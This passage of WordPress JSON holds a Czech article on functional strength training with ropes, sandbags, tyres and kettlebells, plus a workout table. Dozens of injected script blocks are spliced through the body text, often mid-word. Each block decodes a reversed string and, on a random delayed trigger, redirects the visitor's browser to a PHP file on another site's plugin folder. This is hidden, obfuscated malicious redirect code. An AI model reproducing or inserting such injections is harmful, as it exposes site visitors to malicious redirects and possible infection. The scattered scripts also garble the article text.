$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to jinak, ne\u017e jste zvykl\u00ed, kdy\u017e v\u00a0ruce dr\u017e\u00edte \u010dinku. A pokud si mysl\u00edte, \u017ee aktivujete jen svaly horn\u00ed poloviny t\u011bla, p\u0159ipravte se, \u017ee v\u00e1s druh\u00fd den dost mo\u017en\u00e1 bude bolet t\u011blo cel\u00e9. U\u017e samotn\u00e1 v\u00fdchoz\u00ed pozice v\u00a0pod\u0159epu jasn\u011b napov\u00edd\u00e1, \u017ee p\u0159i cvi\u010den\u00ed s\u00a0lany mus\u00ed b\u00fdt stabilizovan\u00e9 svalstvo nohou stejn\u011b jako trupu.<\/p>\n<p>&nbsp;<\/p>\n<h3><strong>PYTLE S\u00a0P\u00cdSKEM <\/strong><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-595 alignleft\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/02\/funk\u010dn\u00ed1-web-234x300.jpg\" alt=\"\" width=\"234\" height=\"300\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/02\/funk\u010dn\u00ed1-web-234x300.jpg 234w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/02\/funk\u010dn\u00ed1-web-768x986.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/02\/funk\u010dn\u00ed1-web-798x1024.jpg 798w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2022\/02\/funk\u010dn\u00ed1-web.jpg 1024w\" sizes=\"auto, (max-width: 234px) 100vw, 234px\" \/>Kdo si n\u011bkdy zkusil prov\u00e1d\u011bt d\u0159epy s\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cvi\u010debn\u00ed pom\u016fckou m\u00eds<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to klasick\u00e9 velk\u00e9 \u010dinky, do\u010dkal se nejsp\u00ed\u0161 obrovsk\u00e9ho p\u0159ekvapen\u00ed. Pokud b\u011b\u017en\u011b zvl\u00e1dnete s\u00e9rii se 120 kg s\u00a0velkou \u010dinkou na z\u00e1dech, budete muset pytel s\u00a0p\u00edskem pou\u017e\u00edt o v\u00e1ze zhruba t\u0159etinov\u00e9. Nev\u011b\u0159\u00edte? Uvid\u00edte sami. Dr\u017eet za hlavou nebo na hrudn\u00edku velk\u00fd v\u00e1lec napln\u011bn\u00fd p\u00edskem, kter\u00fd se p\u0159i sebemen\u0161\u00edm pohybu obratem p\u0159esouv\u00e1, je skute\u010dn\u011b n\u00e1ro\u010dn\u00e9. Stabiliza\u010dn\u00ed svaly p\u0159i<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tom dostanou opravdu zabrat.<\/p>\n<p>Cvi\u010den\u00ed s\u00a0tzv. sandbagy si obl\u00edbili pr\u00e1v\u011b bojovn\u00edci MMA, kter\u00fdm se v\u00a0kleci hod\u00ed, kdy\u017e um\u00ed zvednout a p\u0159em\u00edstit nestabiln\u00ed objekt (tzn. soupe\u0159e). Svou funk\u010dn\u00ed s\u00edlu ale rozhodn\u011b mohou rozv\u00edjet i ostatn\u00ed, rekrea\u010dn\u00ed spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce nevyj\u00edmaje.<\/p>\n<p>&nbsp;<\/p>\n<h3><strong>P\u0158\u00cdKLAD NETRADI\u010cN\u00cdHO TR\u00c9NINKU<\/strong><\/h3>\n<p>Kdy\u017e tu a tam klasick\u00fd kulturistick\u00fd tr\u00e9nink vym\u011bn\u00edte za nekonven\u010dn\u00ed cvi\u010debn\u00ed program, bude <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to pro v\u00e1s znamenat velkou v\u00fdzvu, nejsp\u00ed\u0161 vys<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toupen\u00ed z\u00a0komfortn\u00ed z\u00f3ny zn\u00e1m\u00fdch, dob\u0159e osvojen\u00fdch cvik\u016f, ale sou\u010dasn\u011b taky \u0161anci stimulovat dosa\u017een\u00ed je\u0161t\u011b kvalitn\u011bj\u0161\u00edch v\u00fdsledk\u016f. A pokud nechcete rovnou nahradit cel\u00fd tr\u00e9nink, za\u0159a\u010fte do sv\u00e9ho obvykl\u00e9ho programu jen n\u011bkter\u00e9 z\u00a0n\u00e1sleduj\u00edc\u00edch cvik\u016f.<\/p>\n<p>&nbsp;<\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"302\"><strong>CVIK<\/strong><\/td>\n<td width=\"101\"><strong>S\u00c9RIE<\/strong><\/td>\n<td width=\"201\"><strong>OPAKOV\u00c1N\u00cd\/\u010cAS<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"302\">Bench press<\/td>\n<td width=\"101\">5<\/td>\n<td width=\"201\">3<\/td>\n<\/tr>\n<tr>\n<td width=\"302\">Mrtv\u00fd tah se dv\u011bma kettlebell \u010dinkami<\/td>\n<td width=\"101\">4<\/td>\n<td width=\"201\">10<\/td>\n<\/tr>\n<tr>\n<td width=\"302\">Shyby<\/td>\n<td width=\"101\">4<\/td>\n<td width=\"201\">Maximum<\/td>\n<\/tr>\n<tr>\n<td width=\"302\">Kliky<\/td>\n<td width=\"101\">4<\/td>\n<td width=\"201\">Maximum<\/td>\n<\/tr>\n<tr>\n<td width=\"302\">Trh jednou rukou s\u00a0kettlebell \u010dinkou<\/td>\n<td width=\"101\">4<\/td>\n<td width=\"201\">10 na ka\u017edou ruku<\/td>\n<\/tr>\n<tr>\n<td width=\"302\">P\u0159em\u00edst\u011bn\u00ed se sandbagem<\/td>\n<td width=\"101\">4<\/td>\n<td width=\"201\">10<\/td>\n<\/tr>\n<tr>\n<td width=\"302\">\u0160vihy s kettlebell<\/td>\n<td width=\"101\">4<\/td>\n<td width=\"201\">12-15<\/td>\n<\/tr>\n<tr>\n<td width=\"302\">D\u0159epy se sandbagem<\/td>\n<td width=\"101\"><\/td>\n<td width=\"201\">30 sekund<\/td>\n<\/tr>\n<tr>\n<td width=\"302\">P\u0159evracen\u00ed pneumatiky<\/td>\n<td width=\"101\"><\/td>\n<td width=\"201\">30 sekund<\/td>\n<\/tr>\n<tr>\n<td width=\"302\">Cvi\u010den\u00ed s lany<\/td>\n<td width=\"101\"><\/td>\n<td width=\"201\">30 sekund<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Posledn\u00ed t\u0159i cviky prov\u00e1d\u00edte na \u010das. A z\u00e1le\u017e\u00ed jen na va\u0161\u00ed kondici, zda zvl\u00e1dnete jeden cyklus t\u011bch<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cvik\u016f, nebo p\u0159id\u00e1te dal\u0161\u00ed.<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Budujte s\u00edlu netradi\u010dn\u00ed kombinac\u00ed tr\u00e9ninkov\u00fdch styl\u016f. Nekonven\u010dn\u00ed tr\u00e9ninkov\u00e9 p\u0159\u00edstupy pat\u0159\u00ed k\u00a0obl\u00edben\u00fdm metod\u00e1m zejm\u00e9na v\u00a0MMA, ale i \u0159ada dal\u0161\u00edch sportovc\u016f v\u00a0posledn\u00ed dob\u011b vyhled\u00e1v\u00e1 m\u00e9n\u011b obvykl\u00e9 cvi\u010debn\u00ed postupy, kter\u00e9 jim maj\u00ed poslou\u017eit ke zpest\u0159en\u00ed tr\u00e9ninku a sou\u010dasn\u011b t\u011blo vyburcovat k\u00a0n\u00e1r\u016fstu v\u00fdkonnosti. Nemus\u00edte p\u0159itom objevovat Ameriku, \u010dasto posta\u010d\u00ed netradi\u010dn\u00ed kombinace a vyu\u017eit\u00ed tr\u00e9ninkov\u00fdch pom\u016fcek, s\u00a0nimi\u017e jste doposud nem\u011bli tu \u010dest pracovat. V\u011bt\u0161ina lid\u00ed ve fitku vyu\u017e\u00edv\u00e1 k\u00a0budov\u00e1n\u00ed s\u00edly klasick\u00fd tr\u00e9nink s\u00a0\u010dinkami. Vych\u00e1z\u00ed z\u00a0osv\u011bd\u010den\u00e9 praktiky, \u017ee d\u00edky p\u0159et\u00ed\u017een\u00ed sval\u016f pomoc\u00ed velk\u00fdch z\u00e1t\u011b\u017e\u00ed dos\u00e1hnou kvalitn\u00edch v\u00fdsledk\u016f. A maj\u00ed samoz\u0159ejm\u011b pravdu. Nicm\u00e9n\u011b se d\u0159\u00edve nebo pozd\u011bji potkaj\u00ed se stagnac\u00ed a budou si l\u00e1mat hlavu, jak konven\u010dn\u00ed tr\u00e9nink v\u00edce \u010di m\u00e9n\u011b o\u017eivit. A pak p\u0159ijdou ke slovu metody tr\u00e9ninku funk\u010dn\u00edho. Konec konc\u016f i c\u00edlem funk\u010dn\u00edho tr\u00e9ninku je zv\u00fd\u0161en\u00ed s\u00edly, by\u0165 se charakter tohoto cvi\u010den\u00ed od klasick\u00e9ho kulturistick\u00e9ho cvi\u010debn\u00edho pl\u00e1nu z\u00e1sadn\u011b odli\u0161uje. Nikde ale nen\u00ed ps\u00e1no, \u017ee by kulturista nemohl vyzr\u00e1t nad stagnac\u00ed, p\u0159\u00edpadn\u011b prost\u011b svoje t\u011blo popohnat k\u00a0lep\u0161\u00edm v\u00fdsledk\u016fm, kdy\u017e vyzkou\u0161\u00ed specifick\u00e9 techniky funk\u010dn\u00edho tr\u00e9ninku. Minim\u00e1ln\u011b pro n\u011bj bude p\u0159\u00ednosem zlep\u0161en\u00ed stability svalstva trupu, nav\u00fd\u0161en\u00ed s\u00edly \u00fachopu \u010di po psychick\u00e9 str\u00e1nce nezpochybniteln\u00e9 o\u017eiven\u00ed tr\u00e9ninku. Jak\u00e9 pom\u016fcky tedy m\u016f\u017eete do sv\u00e9ho cvi\u010debn\u00edho programu za\u0159adit? &nbsp; PNEUMATIKY P\u0159edstavuj\u00ed velmi efektivn\u00ed zp\u016fsob, jak budovat s\u00edlu i vytrvalost. Nejr\u016fzn\u011bj\u0161\u00ed p\u0159evracen\u00ed pneumatik pat\u0159\u00ed ve funk\u010dn\u00edm tr\u00e9ninku ke st\u00e1lic\u00edm. \u0158ada tren\u00e9r\u016f ov\u0161em varuje p\u0159ed zna\u010dnou z\u00e1t\u011b\u017e\u00ed kladenou p\u0159i takov\u00e9m cvi\u010den\u00ed na z\u00e1da. Samoz\u0159ejm\u011b nejde o cvik, kter\u00fd by bylo vhodn\u00e9 doporu\u010dit n\u011bkomu, kdo trp\u00ed na bolesti bedern\u00ed p\u00e1te\u0159e. Ale takov\u00fd sportovec bude omezen\u00fd i ve v\u00fdb\u011bru cel\u00e9 \u0159ady klasick\u00fdch kulturistick\u00fdch cvik\u016f. Kdo m\u00e1 s\u00edlu a z\u00e1da v\u00a0po\u0159\u00e1dku, pro toho je cvi\u010den\u00ed s\u00a0pneumatikou efektivn\u00ed a bezpe\u010dn\u00e9, pokud dodr\u017e\u00ed z\u00e1kladn\u00ed pravidla \u2013 p\u0159edev\u0161\u00edm udr\u017e\u00ed z\u00e1da ve spr\u00e1vn\u00e9 (neutr\u00e1ln\u00ed) poloze. Jestli cvi\u010d\u00edte s\u00a0partnerem, m\u016f\u017eete si pneumatiku st\u0159\u00eddat \u2013 jeden ji p\u0159evr\u00e1t\u00ed sm\u011brem ke druh\u00e9mu, ten mu ji \u201evr\u00e1t\u00ed\u201c atd. Pak u\u017e jen z\u00e1le\u017e\u00ed na dohod\u011b, zda budete cvi\u010dit po n\u011bjakou p\u0159edem stanovenou dobu (30-60 sekund) nebo bude va\u0161\u00edm c\u00edlem prov\u00e9st dan\u00fd po\u010det opakov\u00e1n\u00ed. \u010c\u00edm del\u0161\u00ed doba cvi\u010den\u00ed, t\u00edm v\u00edce budujete vytrvalost. Zpo\u010d\u00e1tku byste si nem\u011bli kl\u00e1st p\u0159ehnan\u00e9 c\u00edle, u\u017e samotn\u00e1 technika vy\u017eaduje n\u00e1cvik a \u010das. &nbsp; KETTLEBELL \u010cINKY Dnes u\u017e je najdete prakticky v\u00a0ka\u017ed\u00e9m fitku. Tyhle \u010dinky za\u017e\u00edvaj\u00ed obrovsk\u00fd comeback a nach\u00e1z\u00ed vyu\u017eit\u00ed v\u00a0mnoha cvic\u00edch. Tvarov\u011b se od klasick\u00e9 \u010dinky li\u0161\u00ed naprosto z\u00e1sadn\u011b a stejn\u011b tak sk\u00fdtaj\u00ed mo\u017enost p\u0159i cvi\u010den\u00ed zat\u00ed\u017eit danou svalovou partii m\u00e9n\u011b obvykl\u00fdm zp\u016fsobem. Zkuste je vyu\u017e\u00edt p\u0159i proveden\u00ed nejr\u016fzn\u011bj\u0161\u00edch tlak\u016f, mrtv\u00fdch tah\u016f, d\u0159ep\u016f atd. P\u0159i n\u011bkter\u00fdch cvic\u00edch (zdvihy, v\u00fdpady atd.) m\u016f\u017eete dr\u017eet v\u00a0ka\u017ed\u00e9 ruce jednu kettlebell \u010dinku, jindy (nap\u0159. u \u0161vihu) uchop\u00edte ob\u011bma rukama madlo jedn\u00e9 \u010dinky.\u00a0 Nejr\u016fzn\u011bj\u0161\u00ed \u0161vihy s\u00a0kettlebell \u010dinkami jsou dnes velmi obl\u00edben\u00e9, buduj\u00ed exploz\u00edvn\u00ed s\u00edlu a pro kulturistu doposud zvykl\u00e9ho na naprosto jin\u00fd syst\u00e9m cvi\u010den\u00ed p\u0159edstavuj\u00ed zcela z\u00e1sadn\u00ed zm\u011bnu. O to opatrn\u011bj\u0161\u00ed byste m\u011bli b\u00fdt p\u0159i osvojen\u00ed spr\u00e1vn\u00e9 formy proveden\u00ed jednotliv\u00fdch cvik\u016f a zpo\u010d\u00e1tku volit sp\u00ed\u0161e ni\u017e\u0161\u00ed z\u00e1t\u011b\u017e. &nbsp; LANA I popularita cvi\u010den\u00ed se siln\u00fdmi, t\u011b\u017ek\u00fdmi lany v\u00a0posledn\u00edch letech nar\u016fst\u00e1. Kondi\u010dn\u00ed tren\u00e9\u0159i cviky tohoto typu doporu\u010duj\u00ed zejm\u00e9na pro aktivaci stabiliza\u010dn\u00edch sval\u016f, budov\u00e1n\u00ed s\u00edly a celkov\u011b vylad\u011bn\u00ed formy. A nikde nen\u00ed ps\u00e1no, \u017ee si mus\u00edte postavit cel\u00fd cvi\u010debn\u00ed pl\u00e1n jen na vyu\u017eit\u00ed lan. Berte je jako zaj\u00edmav\u00fd dopln\u011bk. Sami nejl\u00e9pe uvid\u00edte, jak n\u00e1ro\u010dn\u00e9 takov\u00e9 cvi\u010den\u00ed je. Mechanika pohybu je p\u0159i cvi\u010den\u00ed s\u00a0lany nezvykl\u00e1, z\u00e1t\u011b\u017e, kterou ovl\u00e1d\u00e1te, se chov\u00e1 naprosto jinak, ne\u017e jste zvykl\u00ed, kdy\u017e v\u00a0ruce dr\u017e\u00edte \u010dinku. A pokud si mysl\u00edte, \u017ee aktivujete jen svaly horn\u00ed poloviny t\u011bla, p\u0159ipravte se, \u017ee v\u00e1s druh\u00fd den dost mo\u017en\u00e1 bude bolet t\u011blo cel\u00e9. U\u017e samotn\u00e1 v\u00fdchoz\u00ed pozice v\u00a0pod\u0159epu jasn\u011b napov\u00edd\u00e1, \u017ee p\u0159i cvi\u010den\u00ed s\u00a0lany mus\u00ed b\u00fdt stabilizovan\u00e9 svalstvo nohou stejn\u011b jako trupu. &nbsp; PYTLE S\u00a0P\u00cdSKEM Kdo si n\u011bkdy zkusil prov\u00e1d\u011bt d\u0159epy s\u00a0touto cvi\u010debn\u00ed pom\u016fckou m\u00edsto klasick\u00e9 velk\u00e9 \u010dinky, do\u010dkal se nejsp\u00ed\u0161 obrovsk\u00e9ho p\u0159ekvapen\u00ed. Pokud b\u011b\u017en\u011b zvl\u00e1dnete s\u00e9rii se 120 kg s\u00a0velkou \u010dinkou na z\u00e1dech, budete muset pytel s\u00a0p\u00edskem pou\u017e\u00edt o v\u00e1ze zhruba t\u0159etinov\u00e9. Nev\u011b\u0159\u00edte? Uvid\u00edte sami. Dr\u017eet za hlavou nebo na hrudn\u00edku velk\u00fd v\u00e1lec napln\u011bn\u00fd p\u00edskem, kter\u00fd se p\u0159i sebemen\u0161\u00edm pohybu obratem p\u0159esouv\u00e1, je skute\u010dn\u011b n\u00e1ro\u010dn\u00e9. Stabiliza\u010dn\u00ed svaly p\u0159itom dostanou opravdu zabrat. Cvi\u010den\u00ed s\u00a0tzv. sandbagy si obl\u00edbili pr\u00e1v\u011b bojovn\u00edci MMA, kter\u00fdm se v\u00a0kleci hod\u00ed, kdy\u017e um\u00ed zvednout a p\u0159em\u00edstit nestabiln\u00ed objekt (tzn. soupe\u0159e). Svou funk\u010dn\u00ed s\u00edlu ale rozhodn\u011b mohou rozv\u00edjet i ostatn\u00ed, rekrea\u010dn\u00ed sportovce nevyj\u00edmaje. &nbsp; P\u0158\u00cdKLAD NETRADI\u010cN\u00cdHO TR\u00c9NINKU Kdy\u017e tu a tam klasick\u00fd kulturistick\u00fd tr\u00e9nink vym\u011bn\u00edte za nekonven\u010dn\u00ed cvi\u010debn\u00ed program, bude to pro v\u00e1s znamenat velkou v\u00fdzvu, nejsp\u00ed\u0161 vystoupen\u00ed z\u00a0komfortn\u00ed z\u00f3ny zn\u00e1m\u00fdch, dob\u0159e osvojen\u00fdch cvik\u016f, ale sou\u010dasn\u011b taky \u0161anci stimulovat dosa\u017een\u00ed je\u0161t\u011b kvalitn\u011bj\u0161\u00edch v\u00fdsledk\u016f. A pokud nechcete rovnou nahradit cel\u00fd tr\u00e9nink, za\u0159a\u010fte do sv\u00e9ho obvykl\u00e9ho programu jen n\u011bkter\u00e9 z\u00a0n\u00e1sleduj\u00edc\u00edch cvik\u016f. &nbsp; CVIK S\u00c9RIE OPAKOV\u00c1N\u00cd\/\u010cAS Bench press 5 3 Mrtv\u00fd tah se dv\u011bma kettlebell \u010dinkami 4 10 Shyby 4 Maximum Kliky 4 Maximum Trh jednou rukou s\u00a0kettlebell \u010dinkou 4 10 na ka\u017edou ruku P\u0159em\u00edst\u011bn\u00ed se sandbagem 4 10 \u0160vihy s kettlebell 4 12-15 D\u0159epy se sandbagem 30 sekund 